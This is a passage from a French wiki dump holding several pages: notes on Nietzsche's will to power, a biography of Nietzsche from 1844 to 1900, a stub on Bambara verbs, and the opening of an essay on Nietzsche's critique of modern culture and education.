la dernière fumée d'une réalité qui s'évapore. » C'est pourquoi, selon Nietzsche, il est légitime de chercher d'abord ce qui peut caractériser le vivant : *le pouvoir interne de créer des formes *la non identité du vivant, dont l'unité ne peut jamais être un principe *la lutte interne qui hiérarchise un organisme *l'auto-régulation du vivant. Nietzsche suppose ensuite l'existence d'une seule causalité, à titre d'hypothèse (voir §36 plus haut). Cette hypothèse est d'autant plus légitime que les dualismes causaux âme - corps et vie - matière aboutissent aux contradictions de l'idéalisme métaphysique dénoncées par Nietzsche. Néanmoins, la thèse de la volonté de puissance conduit au rejet, non seulement du vitalisme, mais aussi du matérialisme de type mécaniste. En effet, puisque ce qui caractèrise le vivant doit selon lui être généralisé, alors ce que l'on nomme « matière » (Nietzsche nie l'existence de cette dernière) est également sentant et percevant, mais dans un état plus synthétique que dans le cas d'un organisme. === La volonté de puissance comme relation === *Agir et relation *Sentir *Penser *Vouloir == La volonté de puissance comme méthode == Il ressort de cette analyse que l'on peut formuler les points de méthode suivants : *tout phénomène s'interpréte d'après les mêmes activités que celles du vivant : sentir, vouloir, penser, mais aussi assimiler et se reproduire ; le vivant est une spécialisation de l'inorganique. *tout phénomène étant l'expression d'une volonté de puissance, est composé d'actions et de réactions, c'est-à-dire qu'il est un ensemble de relations ; on peut donc en déterminer la structure, le devenir spécifique - ou « type. » *tout phénomène est le symptôme d'une volonté de puissance et permet d'interpréter le degré de force de cette activité relativement à la résistance qu'elle rencontre ; cette activité sera ou croissante ou décroissante. *croissance ou décroissance de la volonté de puissance sont les indices de la force et de la faiblesse, de l'accumulation de la puissance et de son épuisement, ou encore de la création et de la stérilité. Vie de Nietzsche 2670 14251 2005-06-03T08:10:05Z Marc 66 {{Nietzsche|[[Nietzsche - Introduction à sa philosophie|Introduction]]|[[Nietzsche - La Volonté de Puissance]]}} == De 1844 à 1869 == === Roecken et Naumburg (1844 - 1858) === '''Friedrich Wilhelm Nietzsche''' naît à Roecken, en Prusse, le 15 octobre 1844, dans une famille pastorale luthérienne. Son père, Karl-Ludwig, né en 1813, et son grand-père avaient enseigné la théologie. Le père de Nietzsche, qui éduqua un membre de la famille royale de Prusse, fut un protégé de Frédéric-Guillaume IV. Mais la maladie (de violents maux de tête) le contraignit à demander une paroisse dans la région de sa famille, vers Naumburg-sur-Saale. Karl-Ludwig et sa femme, Franziska (1826 - 1897), s'installèrent à Roecken. Ils eurent deux fils, Friedrich et Ludwig Joseph (27 Février 1848 - 4 janvier 1850), et une fille, Elisabeth Therese Alexandra (10 juillet 1846 - 1935). En août 1848, le père de Nietzsche fit une chute et se cogna la tête contre les marches de pierre d'un perron. Il mourut un an plus tard, l'esprit égaré, le 30 juillet 1849. Quelque temps plus tard, en janvier 1850, le frère de Nietzsche meurt à son tour : :« En ce temps-là, je rêvai que j'entendais l'orgue dans l'église résonner tristement, comme aux enterrements. Et comme je cherchais la cause de cela, une tombe s'ouvrit rapidement et mon père apparut marchant dans son linceul. Il traversa l'église et revint bientôt avec un petit enfant dans les bras. [...] Dès le matin, je racontai ce rêve à ma mère bien-aimée. Peu après, mon petit frère Joseph tomba malade, il eut des attaques de nerfs et mourut en peu d'heures. » Nietzsche et sa mère quittent alors Roecken pour Naumburg. Nietzsche ressent ce départ comme un abandon du village natal : :« [...] l'abandon du village natal ; l'entrée dans l'agitation urbaine, tout cela agit sur moi avec une telle force que chaque jour je la ressens en moi. » (Note d'octobre 1862). Il souhaite à cette époque être pasteur comme son père. Il développe une conscience scrupuleuse, particulièrement portée à l'analyse et à la critique de soi, et fière, croyant à la noblesse de la famille Nietzsche (selon une tradition familiale transmise par sa grand mère, les ancêtres des Nietzsche venaient de Pologne et s'appelaient alors Nietzki). Son caractère est bien résumé par cette remarque qu'il fit à sa mère : « Un comte Nietzki ne doit pas mentir. » Vers l'âge de neuf ans il se met au piano, compose des fantaisies et des mazurkas, écrit de la poésie. Il s'intéresse à l'architecture, et, pendant le siège de Sébastopol, en 1854, à la balistique. Il créa également un théâtre des Arts, où il joua avec ses amis des tragédies qu'il écrivit (''Les dieux de l'Olympe'', ''Orkadal''). Il entre au collège de Naumburg à l'âge de dix ans. Élève brillant, sa supériorité fait que sa mère reçut le conseil de l'envoyer à Pforta. Elle accepta et obtint une bourse du roi Frédéric-Guillaume. En 1858, avant de partir pour Pforta, le jeune Nietzsche s'interroge sur la nature de Dieu : :« À douze ans, j'ai vu Dieu dans sa toute-puissance. » (Note de 1858). Cherchant à expliquer le mal, il l'intègre à la Trinité : le Père, le Fils et le Diable. Nietzsche rédige alors un cahier où il consigne l'histoire de son enfance, et conclut : :« Il est si beau de faire repasser devant sa vue le cours de ses premières années et d'y suivre le développement de l'âme. J'ai raconté sincèrement toute la vérité, sans poésie, sans ornement littéraire... Puissé-je écrire encore beaucoup d'autres cahiers pareils à celui-ci ! » === Pforta (1858 - 1862) === Il entre au collège de Pforta en 1858, collège où passèrent Novalis, les frères Schlegel, Fichte. Il y apprendra les langues et les littératures de l'Antiquité. Il y rencontre Gersdorff (1844 - 1904) et Paul Deussen (1845 - 1919), futur sanskritiste. Cette époque est marquée par les premières questions angoissées sur son avenir, par de profonds troubles religieux et philosophiques et par les premiers symptômes violents de la maladie. L'unique document dont nous disposons sur les premiers mois de la vie de Nietzsche dans ce collège relate une anecdote qui exprime sa personnalité : il y avait une discussion à propos de l'histoire de Mucius Scaevola. Les camarades de Nietzsche la tenaient pour une légende, personne ne pouvant avoir le courage de plonger sa main dans le feu. Nietzsche, alors, se saisit d'un charbon brûlant dans un poêle allumé et le tint devant les yeux de ses camarades. Pendant les vacances d'été 1859, il visita Iéna et Weimar. Il écrit quelques récits philosophiques : :« C'est ma vie que je découvre. [...] - Même en ce beau monde, il y a des malheureux. Mais qu'est-ce donc, le malheur ? » À partir de la rentrée d'août 1859, il rédige un journal, projète des plans d'études en géologie, astronomie, latin, hébreu, sciences militaires et enfin en religion. Il souffre d'un appétit dévorant de connaissances et éprouve de grandes difficultés à se décider pour un domaine d'étude bien délimité : : « Je devrai détruire plusieurs de mes goûts, cela est clair, et, pareillement, en acquérir de nouveaux. Quels seront les malheureux que je jetterai par-dessus bord ? Peut-être mes plus chers enfants ! » Les années passent dans la discipline sévère de Pforta, et, à dix-sept ans, il lit Schiller, Hölderlin (''Hypérion'' et ''Empédocle''), Lord Byron où il trouve son inspiration. Il se passionne pour ''Manfred'' : :« Le savoir est triste : ceux qui savent le plus :Plus profondément pleurent la vérité fatale, :L'arbre du savoir n'est pas l'arbre de la vie. » Nietzsche aimait à improviser au piano, ce qui provoquait l'admiration de Gersdorff et de Deussen : :« De sept heures à sept heures et demie, nous nous rendions ensemble à la salle de musique. Je ne crois pas que les improvisations de Beethoven aient été plus poignantes que celles de Nietzsche, surtout lorsque l'orage couvait au ciel. » (Lettre de Gersdorff à Peter Gast, 14 septembre 1900). Il souhaite alors abandonner la théologie pour devenir musicien, mais sa mère l'en dissuade, il doit continuer ses études. Sa foi est néanmoins de plus en plus faible ; les écrits de cette époque témoignent d'une inquiétude profonde face aux problèmes religieux et philosophiques qu'il rencontre. Il hésite à délaisser l'autorité de la tradition pour les enseignements positifs des sciences naturelles : :« Qu'est-ce que l'humanité ? Nous le savons à peine : un degré dans un ensemble, une période dans un devenir, une production arbitraire de Dieu ? L'homme est-il autre chose qu'une pierre évoluée à travers les modes intermédiaires des flores et des faunes ? Est-il dès à présent un être achevé ? que lui réserve l'histoire ? ce devenir éternel n'aura-t-il pas de fin ? [...] Se risquer, sans guide ni compas, dans l'océan du doute, c'est perte et folie pour un jeune cerveau ; la plupart sont brisés par l'orage, petit est le nombre de ceux qui découvrent des régions nouvelles... » Il commence alors à souffrir de violents maux de tête et de troubles visuels. Il passe enfin les derniers examens qu'il obtient de justesse à cause des mathématiques. Mais ses professeurs lui donnèrent son dipôme au vue de l'excellence dont Nietzsche faisait preuve dans les autres matières. En octobre 1862, il quitte Naumburg en compagnie de Paul Deussen et d'un cousin de ce dernier, et se rend à l'université de Bonn. === Bonn (1862 - 1863) === En 1862, il entre donc à l'université de Bonn. Il participe à la vie étudiante, malgré son caractère réservé : promenades sur le fleuve, auberges et un duel qu'il fit avec un bon camarade, n'ayant pas d'ennemi. Il reçut un coup d'épée au visage et en garda une cicatrice. Mais Nietzsche se sent mal à son aise dans ce milieu, et il passe seul, dans la tristesse, les fêtes de fin d'année. C'est le début d'une longue série de Noël solitaire, passé à examiner sa vie, à se reprocher le temps perdu. Cherchant à remédier à la situation, il proposa de réformer l'association d'étudiants mais il fut mis à l'écart. Il étudie alors la philologie, une discipline qui ne l'intéresse pas. Mais sa passion de la connaissance rendait difficile un choix qui lui fut véritablement agréable. Il travaille avec intensité, partie pour oublier sa solitude, partie grâce au soutien vigoureux de Friedrich Wilhelm Ritschl (1806 - 1876), un professeur latiniste auteur d'ouvrages importants sur Plaute. Nietzsche écrit alors quelques mémoires. Il ne trouve aucun intérêt aux modes matérialistes et démocratiques de pensée de bien des étudiants de son âge, et se sent toujours tourmenté par la recherche de la vérité : :« Pour un véritable chercheur, le résultat de la recherche n'est-il pas indifférent ? Dans notre effort que cherchons-nous ? le repos, le bonheur ? Non, rien que la vérité, tout effrayante et mauvaise qu'elle puisse être. » (Lettre à sa sœur). === Leipzig (1863 - ) === Nietzsche suivit Ritschl à Leipzig où ce dernier avait été nommé professeur. Il commence à lire Schopenhauer, et fait la connaissance d'Erwin Rohde. Une anecdote bien connue, datant de février 1865, rapporte que Nietzsche qui s'était rendu à Cologne pour assister à un festival de musique, fut conduit dans une maison de tolérance où il se retrouva au mileu de femmes en tenue très légère : « J'allai droit à ce piano [dans le salon] comme au seul être qui dans cette pièce eût une âme. » Il fit une improvisation, se leva et partit. En 1867, il entre dans l'armée. == De Bâle à la maladie (1869 - 1879 )== En 1869, il est nommé professeur de philologie grecque à l'université de Bâle et prend la nationalité suisse. En 1870, il est infirmier volontaire dans la guerre franco-allemande. === Wagner et Nietzsche === Il fait la connaissance de Richard Wagner en 1869. Au premier semestre de l'été 1872, il donne des cours sur Eschyle, ''Les Choéphores'', et sur les philosophes Présocratiques. Il fait également un séminaire sur Théognis. Erwin Rohde publie un compte rendu de ''La Naissance de la tragédie'' le 26 mai et à la fin du mois parait le pamphlet de Willamowitz-Moellendorff contre ce dernier ouvrage : :« Que M. Nietzsche tienne parole, qu'il prenne son thyrse, qu'il aille d'Inde en Grèce, mais qu'il descende de sa chaire, où il doit enseigner la science ; qu'il réunisse tigres et panthères à ses pieds, s'il le veut, mais non les jeunes philologues allemands. » Sa sœur vient s'installer à Bâle le 1er juin. Le 23 juin, Wagner publie une lettre ouverte à Nietzsche dans la ''Norddeutsche Allgemeine Zeitung'' pour prendre sa défense. Dans une lettre du 25, Wagner lui écrit : :« À strictement parler, vous êtes, après ma femme, le seul gain que la vie m'ait apporté. » Nietzsche se rend à Munich, où se trouve également Mawilda von Meysenburg, du 28 au 30 juin pour assister à une représentation de ''Tristan et Isolde'' dirigée par Hans von Bülow. Le 20 juillet, Nietzsche envoie à ce dernier sa ''Manfred-Meditation'' qui est qualifiée d'épouvantable et de nuisible par le chef-d'orchestre, et de « viol d'Euterpe. » Franz Liszt jugera bien moins sévèrement une autre œuvre de Nietzsche. Il prépare une étude, ''La Joute chez Homère''. En septembre et octobre, il se promène en Suisse. Au semestre d'hiver 1872-73, il donne un cours sur la rhétorique grecque et romaine. Les étudiants se font rare, il n'a que deux auditeurs. Rohde se retrouve également isolé et dans une situation difficile. Wagner fait lui-même l'objet d'attaques assez basses (il est jugé cliniquement fou par un professeur de l'université de Munich). Nietzsche passe Noël 1872 avec sa mère et sa sœur ; il offre à Cosima Wagner, pour son anniversaire, ''Cinq préfaces à cinq livres qui n'ont pas été écrits''. Le 26 décembre, il est à Weimar pour assister à une représentation de ''Lohengrin''. Il rencontre Ritschl à Leipzig qui le blâme de son manque de réussite en tant que professeur. L'incompréhension, ou peut-être l'amertume, du maître est extrême ; dans une lettre à Wilhelm Vischer datée du 2 février 1873, il fait de Nietzsche ce portrait instructif : :« Mais notre Nietzsche ! - C'est vraiment un chapitre affligeant, comme vous l'exprimez vous-même dans votre lettre - en dépit de toute votre bienveillance pour l'homme remarquable qu'il est. Il est étonnant de constater comment dans cet être deux âmes cohabitent. D'une part, la méthode la plus rigoureuse dans la recherche scientifique et académique [...] d'autre part, cet engouement wagnéro-schopenhauérien pour les mystères de la religion esthétique, cette exaltation délirante, ces excès d'un génie transcendant jusqu'à l'incompréhensible ! » Du 6 au 12 avril, Rohde et Nietzsche sont à Bayreuth. Nietzsche a avec lui le manuscrit de ''La Philosophie à l'époque tragique des Grecs'' qu'il lit à Cosima et à Wagner. Il revient à Bâle le 15 avril, où il commence sa première ''Considération inactuelle'' sur David Strauss. En 1877, Marie Baumgartner traduit en français ''Richard Wagner à Bayreuth.'' En 1878, rupture avec Wagner. == L'errance en Italie et en France (1879 - 1888) == À la fin du mois d'Avril 1881, Nietzsche est à Gênes, travaillant à la correction des épreuves d'''Aurore'' avec Peter Gast. Le travaille est achevé à la mi-juin. En juillet, il est à Sils-Maria et lit Hellwald (''Histoire de la civilisation'', ''La Terre et ses habitants'') et le livre de Kuno Fischer sur Baruch Spinoza. Il voit en ce dernier l'un de ses précurseurs. C'est au mois d'août que se situent les pensées sur l'éternel retour. Nietzsche est alors dépressif. En septembre, il étudie les sciences de la nature. Il écrit à Overbeck (18 septembre) : :« Sum in puncto ''desperationis.'' Dolor vincit vitam voluntatemque. » Il retourne à Gênes à la fin du mois où, toujours en mauvaise santé, Nietzsche entend la ''Sémiramide'' de Rossini, ''Giulietta e Romeo'' et ''Sonnambula'' de Bellini. Il entend également ''Carmen'', l'opéra de Bizet, qui le marquera à vie. À la mi-décembre, Nietzsche projette d'écrire une suite à ''Aurore''. En Mars 1882, Rée fait la connaissance de Lou Andreas-Salomé à Rome, chez Malwida von Meysenburg. Nietzsche apprend par sa sœur que Bernhard Förster, un antisémite notoire, se fait passer pour l'un de ses disciples. Il se rend à Messine, puis à Rome où il fait la connaissance de Lou Andreas-Salomé. En mai 1882, Lou, Rée et Nietzsche se rendent en Suisse. Nietzsche corrige les épreuves des ''Idylles de Messine'' et met au propre une copie du ''Gai Savoir''. Nietzsche passe le mois de novembre et décembre 1882 à Rapallo. Ses relations avec Lou Andreas-Salomé et Paul Rée se dégradent. À la fin du mois de janvier 1883, il écrit au propre la première partie d'''Ainsi parlait Zarathoustra''. Il refuse une invitation à Rome de Mawilda von Meysenburg et continue de travailler au manuscrit de ''Zarathoustra''. Le 13 février, Wagner meurt. Nietzsche l'apprend le lendemain et écrit à Cosima. Nietzsche est ensuite de nouveau à Gênes à partir du 23 février 1883. Il lit le livre de son ami Paul Deussen sur la doctrine des Vedânta. Il rompt ses relations avec Rée et Lou, et déprime gravement : :« Je ne comprends plus du tout ''à quoi bon'' je devrais vivre, ne ce fût-ce que six mois de plus [...] » (Lettre à Overbeck, 24 mars). Le jugement de Gast à propos de ''Zarathoustra'' lui remontera le moral : « À ce livre il faut souhaiter la diffusion de la Bible, son prestige canonique, la série de ses commentaires, sur laquelle repose en partie ce prestige. » (Lettre à Nietzsche, 2 avril 1883). Vers la fin du mois, il renoue avec sa mère et se décide à rencontrer sa sœur à Rome, où il loge chez le peintre Max Müller. Avec sa sœur, il voyage en Suisse et séjourne de nouveau à Sils-Maria. Il écrit la deuxième partie d'''Ainsi parlait Zarathoustra'' au mois de juillet. Il se brouille définitivement avec Lou : :« Elle me manque, même avec ses défauts. [...] Maintenant c'est comme si j'étais condamné au silence ou à une sorte d'hypocrisie humanitaire dans mes rapports avec tous les hommes. » (Lettre à Overbeck, fin août). Fin août 1883, il retrouve Overbeck à Schuls et envisage de donner des cours à Leipzig. le recteur de l'université, qui est un ami de Nietzsche, lui explique que sa candidature serait un échec à cause de ses idées sur le christianisme. Il part alors pour Naumburg le 5 septembre. Sa sœur se fiancie avec Bernard Förster, l'antisémite soi-disant admirateur de Nietzsche. Il passe à Bâle début octobre, chez les Overbeck, puis à Gênes. Il tombe malade, ressent la solitude de plus en plus durement, et fait le bilan accablant des dernières années qu'il vient de passer. À la fin novembre, il passe à Villefranche, puis s'installe à Nice pour l'hiver. Il rencontre Joseph Paneth, l'ami Joseph de Freud. Il est de plus en plus malade : « Malade, malade, malade ! » (Lettre à Overbeck, 26 décembre 1883). Il écrit néanmoins la troisième partie d'''Ainsi parlait Zarathoustra'' en janvier 1884. Nouvel enthousiasme de Peter Gast. Nietzsche s'interroge avec inquiètude sur la portée de sa philosophie : :« Est-elle ''vraie'' ou plutôt sera-t-elle crue vraie - c'est ainsi que ''tout'' changera et se renversera et que ''toutes'' les valeurs traditionnelles seront dévaluées. » (Lettre à Overbeck, 10 mars 1884). Il rompt de nouveau avec sa sœur : « Ce maudit antisémitisme est la cause d'une rupture radicale entre ma sœur et moi. » (Lettre à Overbeck, 2 avril). À la fin du moi d'avril, il se rend à Venise avec Peter Gast : « [...] je frémis à la pensée de tout l'injuste et l'inadéquat qui un jour ou l'autre se réclamera de mon autorité. » (Lettre à Mawilda von Meysenburg, juin 1884). Puis il est de nouveau chez les Overbeck, à Bâle, de la mi-juin au 2 juillet. Il fait la connaissance de Meta von Salis à Zurich vers la mi-juillet. Il séjourne pour la troisième fois à Sils-Maria de juillet à Septembre. Du 26 au 28 août, il reçoit Heinrich von Stein. À Nice, en janvier 1885, il écrit la quatrième partie d'''Ainsi parlait Zarathoustra''. Il le fait paraître à ses frais vers la fin mars en tirage limité à 40 exemplaires. Le 22 octobre 1887, Nietzsche, venant de Venise, arrive à Turin. Il s'installe à la Pension de Genève. Commence une phase où Nietzsche se retourne sur sa vie et son œuvre : :« Dix ans de maladie, plus de dix ans ; et pas simplement une maladie pour laquelle il existe des médecins et des remèdes. Quelqu'un sait-il seulement ce qui m'a rendu malade ? Ce qui, des années durant m'a tenu au seuil de la mort, et appelant la mort ? Je n'en ai pas l'impression. [...] Ces dix dernières années que j'ai derrière moi m'ont fait amplement apprécier ce que cela signifie d'être seul, isolé à ce point. [...] Pour n'en retenir que le meilleur, cela m'a rendu plus indépendant ; mais aussi plus dur, et plus contempteur des hommes que je ne le souhaiterais moi-même. » (Lettre à Overbeck, 12 novembre). Il écrit beaucoup, avec le sentiment de la tâche accomplie ou sur le point de l'être : :« [...] je sais ce qui est fait, et ce qui est définitivement réglé : c'est un trait qui est tiré sous toute mon existence jusqu'alors : - voilà le sens des dernières années. Sans doute, par cela même, l'existence que j'ai menée jusqu'ici a révélé ce qu'elle était réellement - une simple promesse. » (Lettre à Peter Gast, 20 décembre). Il lit Montaigne, Galiani, le ''Journal'' des Goncourt. Le 26 novembre, il reçoit une lettre de Georg Brandes : :« Vous faites partie du petit nombre d'hommes avec qui j'aimerais causer. » Vers la fin de l'année, Nietzsche retombe dans la dépression : :« [...] le poids de mon existence pèse à nouveau plus lourd sur mes épaules ; presque pas un jour entièrement bon ; [...] » (Lettre à Overbeck, 28 décembre). Néanmoins, dans les mois qui suivent, qu'il passe à Nice, il travaille beaucoup et annonce à Gast, dans une lettre du 13 février 1888, qu'il a terminé la mise au propre du premier livre de l'''Essai d'une inversion des valeurs''. (cf. Cahiers WII 1, WII 2, WII 3). Il lit Plutarque, Baudelaire, Dostoïevski, Tolstoï, Renan, Benjamin Constant. Sa célébrité s'accroît : Carl Spitteler fait des comptes rendus des livres de Nietzsche dans le Bund de Berne, et Georg Brandes fait des conférences sur la pensée de Nietzsche à Copenhague. Il quitte Nice le 2 avril, et se rend en pèlerinage à Gênes le 4, avant de parvenir à Turin, ville « pour les pieds comme pour les yeux, un lieu classique ! » (Lettre à Gast, 7 avril). Il rédige le ''Cas Wagner'' et travaille toujours autant (cf. Cahiers WII 5, WII 6). Son humeur est particulièrement joyeuse, « il souffle ici un air délicieux, léger, espiègle, qui donne des ailes aux pensées trop lourdes... » (Lettre à Gast, 1er mai). À Sils-Maria depuis le début du mois de juin, sa santé se dégrade de nouveau. Il se diagnostique un épuisement nerveux général incurable en partie héréditaire (Lettre à Overbeck, 4 juillet). Il s'occupe de l'impression du ''Cas Wagner'' et élabore un dernier plan de la ''Volonté de puissance. Essai d'une inversion de toutes les valeurs'' daté du 29 août. Il lit la ''Vie de Richard Wagner'' par Ludwig Nohl, et ''Rome, Naples et Florence'' de Stendhal qu'il admire. Il passe quelques semaines avec son amie Meta von Salis. Richard Meyer, un étudiant d'origine juive, lui offre anonymement 2000 marks. Nietzsche emploie alors toutes les ressources dont il dispose pour faire imprimer ses livres et se plaint des pratiques douteuses de certains éditeurs : « Mais je suis en guerre : je comprends que l'on soit en guerre avec moi. » (Lettre à Spitteler, 25 juillet). Il restera à Sils-Maria jusqu'au 20 septembre. Après un voyage difficile, Nietzsche arrive de nuit à Turin. Le ''Cas Wagner'' paraît alors, tandis qu'il travaille avec Gast à l'impression du Crépuscule des Idoles et que le manuscrit de l'''Antéchrist'' est prêt pour l'impression le 30 septembre. === Les derniers mois : octobre - décembre 1888 === == La folie (1889 - 1900) == === L'effondrement === Nietzsche s'effondre le 3 janvier 1889 à Turin. Le 8 janvier, Overbeck le rejoint, et ramène Nietzsche qui a définitivement perdu la raison à Bâle dès le lendemain. Il sera soigné par sa mère, puis par sa sœur revenue d'Amérique du Sud, jusqu'à sa mort, le 25 août 1900. === La maladie de Nietzsche === Nietzsche aurait contracté la syphilis. Récemment, un médecin, le docteur Leonard Sax, directeur du Montgomery Centre for Research in Child Development, a montré que Nietzsche avait en réalité une tumeur cérébrale. La syphilis de Nietzsche est une légende inventée par un critique, Lange-Eichbaum, après la seconde guerre mondiale. === L'influence d'Élisabeth === Pendant cette période, les œuvres de Nietzsche commencent à être connues dans toute l'Europe. Sa sœur crée le Nietzsche-Archiv en 1894. == Bibliographie == *Paul Deussen *Cosima Wagner, ''Journal'' *Daniel Halévy, ''Nietzsche'', Grasset, 1944 *Henri Guillemin, ''Regards sur Nietzsche'', Seuil, 1991 Verbes (bambara) 2671 25484 2005-11-15T15:30:36Z Guaka 165 +en {{bambara}} En Bambara il y a pas de conjugaison. Quel que soit la personne, la forme est pareil. Il y a deux types de verbes: ==Transitif== ==Intransitif== ==Passé== ==Futur== ==Participe== ===Participe passé=== -len ===Participe présent=== -to ==tableau== {| | be |- | ka |- | be ka |- | -ra / -la / -na |- | ye |- | tun be |- | tun ka |- | tun be ka |- | tun -ra / -la / -na |- | tun ye |} ==Voir== * [http://fr.wiktionary.org/wiki/Cat%C3%A9gorie:Verbes_bambaras Les verbes bambaras dans le Wiktionnaire] [[en:Bambara/Verbs]] Nietzsche - La culture moderne 2672 14253 2005-02-26T22:45:09Z Marc 66 /* Une époque calamiteuse, annonciatrice d'un grand dégoût */ {{Nietzsche}} « Ce dont on ne parle pas à grands cris, cela n’existe pas : douleur, renoncement, devoir, la longue tâche et le grand dépassement – Personne n’en voit ni n’en sent rien. » « Il est enfin devenu comme tout le monde. » ''L'anti-modernisme'' de Nietzsche occupe une grande place dans ses écrits, et la compréhension de cet aspect important de son œuvre permettra de mieux saisir le fond de ses idées à propos du problème de la culture, de l'éducation, et des fins qu'une civilisation peut se présenter comme les plus hautes, i.e. - pour résumer ces problèmes à une seule expression, du ''problème de la hiérarchie.'' L'opposition de Nietzsche à la modernité, à laquelle nous verrons qu'il faut apporter quelques nuances, se manifeste avec une grande virulence dans plusieurs séries de critiques touchant la démocratie (critiques comprenant Rousseau, l'héritage chrétien et l'État moderne) et la vie intellectuelle moderne (l'éducation et les buts qui lui sont assignés, et la production littéraire et scientifique). Nous commencerons par exposer une vue d'ensemble du siècle de Nietzsche, et son évaluation de la démocratie, puis nous examinerons l'éducation moderne et ses conséquences. == Une époque calamiteuse, annonciatrice d'un grand dégoût == « Quelle ne sera pas la répugnance des générations futures quand elles auront à s’occuper de l’héritage de cette période où ce n’étaient pas les hommes vivants qui gouvernaient, mais des semblants d’hommes, interprètes de l’opinion. » (Sch., § 1) Le XIXème siècle est pour Nietzsche un siècle répugnant et barbare, qui ne semble avoir d'autre valeur que celle d'un vomitif pour les générations à venir (''Généalogie de la morale'') ; la culture moderne se caractérise par son allure disparate, l'eclectisme du goût, la fausse apparence des vertus chrétiennes que personne ne suit plus. Trois qualificatifs résument pour Nietzsche la modernité : la naïveté (l'idiotie morale), l'abrutissement des sens (le besoin de stupéfiants), la hâte (l'affairement, l'impossibilité de ne pas se fuire). Ce siècle obscur et inhumain de l’histoire moderne n'est pas cepedant sans laisser quelque espoir de renaissance culturelle. La question est posée par Nietzsche : un sage est-il encore possible ? Il lui semble que oui, car ce siècle ambigu et mensonger, coincé entre les anciens idéaux qui s'effondrent lentement et la barbarie intérieure d'instincts mal disciplinés, grossiers et sauvages, ce siècle est un ferment dont on ne peut dire s'il finira par s'affirmer dans toute la force de ses contradictions, ou s'il est le ''commencement de la fin'', l'extinction de l'esprit et de la culture. Dans ce chaos, le sage doit encore être possible, et il faut découvrir les moyens qui pourraient le rendre possible ; il faut se former une image de l'homme la plus haute, la plus noble possible. L’espoir de ceux qui se sentent étranger à ce siècle est ainsi d’autant plus grand : ils peuvent contribuer à faire revivre leur époque, alors que ceux qui vivent de leur temps et pour leur temps se tuent en tuant leur culture mensongère : ils sombreront avec et ne laisseront aucune trace de leur calamiteuse existence. Nous sommes des barbares domestiques ; tel est le diagnostic, établi déjà par Goethe, que Nietzsche martèle à propos de la culture allemande. Tel n’est pas le cas, en revanche, de la culture française, qui possède une unité et un raffinement maladroitement immités par les Allemands. Les critiques de Nietzsche contre la civilisation allemande ont pour nous un caractère prophétique ; en effet, nous pouvons sans difficulté reconnaître aujourd’hui la pertinence de ces critères, non plus seulement pour un pays, mais pour l’ensemble du monde moderne occidental. Nietzsche avait conscience que ces critiques ne valaient pas seulement pour l'Allemagne : le dégoût qu'il éprouvait pour quelques pays était pour ainsi dire l’avant-coureur du dégoût que l’on pourrait bien éprouver un jour devant le spectacle de l'abrutissement d’une grande partie de l’humanité : :« - je l’ai imputé aux Allemands, comme philistinisme et goût du confort : mais ce laisser-aller est européen et « bien d’aujourd’hui », pas seulement en morale et en art. » == L'idéologie démocratique == L'élitisme culturel de Nietzsche s'oppose nettement au développement moderne de la démocratie, parce que Nietzsche refuse catégoriquement l'idée d'une égalité entre les hommes, héritée du christianisme. Mais cette critique doit être nuancée selon les intentions de Nietzsche. Il faut en effet distinguer la critique de la démocratie en elle-même, des conséquences que Nietzsche pense pouvoir en tirer. L'égalitarisme moderne ne peut, selon lui, permettre une haute culture de l'esprit et favorise le ressentiment des incultes en inversant la hiérarchie des valeurs culturelles, et en instituant cette inversion dans les lycées, les universités, et dans la vie publique. La démocratie, telle que Nietzsche la conçoit, est une idéologie du troupeau qui cherche la sécurité et le bien-être, une idéologie par laquelle des hommes médiocres, la majorité, s'assurent une petite gloire pour le présent, aux dépens de la supériorité intellectuelle et de son avenir, contre cette supériorité, i.e. en lui faisant la guerre, en se faisant l'ennemi de tout génie : d'où la critique nietzschéenne de l'éducation démocratique moderne, car cette éducation entrave le développement intellectuel et ne produit que des individus à demi cultivés, grossiers et barbares. L'esprit démocratique est ainsi très complaisant envers lui-même, il se pardonne tout ; c'est un esprit curieux et futile, bariolé et sans goût, sans grande ambition avec ses « petits plaisirs pour le jour et ses petits plaisirs pour la nuit », satisfait de sa médiocrité tranquille et de son bonheur bovin : :« Malheur ! Voici le temps où l'homme ne peut plus donner le jour à une étoile qui danse. Malheur ! Voici le temps du plus méprisable des hommes, qui ne peut même plus se mépriser lui-même. :Voyez ! Je vous montre le ''dernier homme''. » (''Ainsi parlait Zarathoustra'', Prologue) Cette critique virulente s'accompagne toutefois d'une nuance de première importance, et il faut écarter ici une interprétation qui fait de Nietzsche un opposant absolu à tout démocratisme, comme s'il avait souhaité arrêter le mouvement de l'histoire. Bien au contraire, le nivellement de l'humanité par l'égalitarisme est inévitable ; il conçoit l'idée que l'Europe devra nécessairement s'unifier économiquement, et que l'humanité sera bientôt gérée au niveau mondial. Tout cela va dans le sens d'une homogénéisation des sociétés humaines, d'une médiocrisation marchande généralisée. Mais ce qui compte pour lui, c'est que ce nivellement recèle une nouvelle possibilité de hiérarchie. La socialisation de l'homme (le grégarisme planétaire) revient à bâtir une infrastructure d'où pourront surgir de nouvelles classes dominantes. Mais encore faut-il en prendre conscience, et ne pas prendre le moyen pour la fin. Cette remarque justifie une reflexion critique sur l'éducation en général, et en particulier, une réflexion à propos de l'éducation moderne. == L’éducation moderne == Le problème de l’éducation moderne est traité pour la première fois de manière détaillée et pour lui-même dans les cinq conférences données par Nietzsche à l’université de Bâle, dont on retrouve des passages dans ''Cinq préfaces à cinq livres qui n’ont pas été écrits'', et ce problème sera développé plus particulièrement dans la perspective de la culture dans les quatre ''inactuelles''. Ces réflexions se présentent sous la forme d'une violente polémique, où Nietzsche prend à partie quelques uns des aspects de la vie culturelle de l’époque, et dénonce l’état misérable des établissements d’enseignement. Cette agressivité est stratégique : Nietzsche reconnaît une puissance bénéfique au négatif, à ce qui détruit, car le philosophe ne peut créer sans détruire. On peut distinguer dans ces critiques deux finalités : d'une part, la volonté de briser le silence sur ce caractère misérable de l’éducation moderne, i.e. la volonté de se fâcher une bonne fois, de ne pas accepter cet état et de ne pas s'en faire le complice par un silence et une passivité peureuse ; d'autre part, le souhait de voir apparaître des hommes qui engageraient le combat pour la culture, en portant la polémique sur la place publique, et en engageant ainsi déjà le combat pour une éducation et une culture supérieures dont dépendant l'avenir de l'homme. Ce dernier but souligne à quel point nous sommes responsables, en tant que philosophe, de l'image de l'homme, non seulement pour aujourd'hui, mais surtout pour demain. === L'influence de Schopenhauer et d'Emerson === Ces premières réflexions sont de manière évidente une répétition et une réappropriation des critiques formulées par Schopenhauer ; elles s’en distinguent considérablement si l'on remarque la grande influence exercée sur Nietzsche par le style et les idées d’Emerson, style et idées 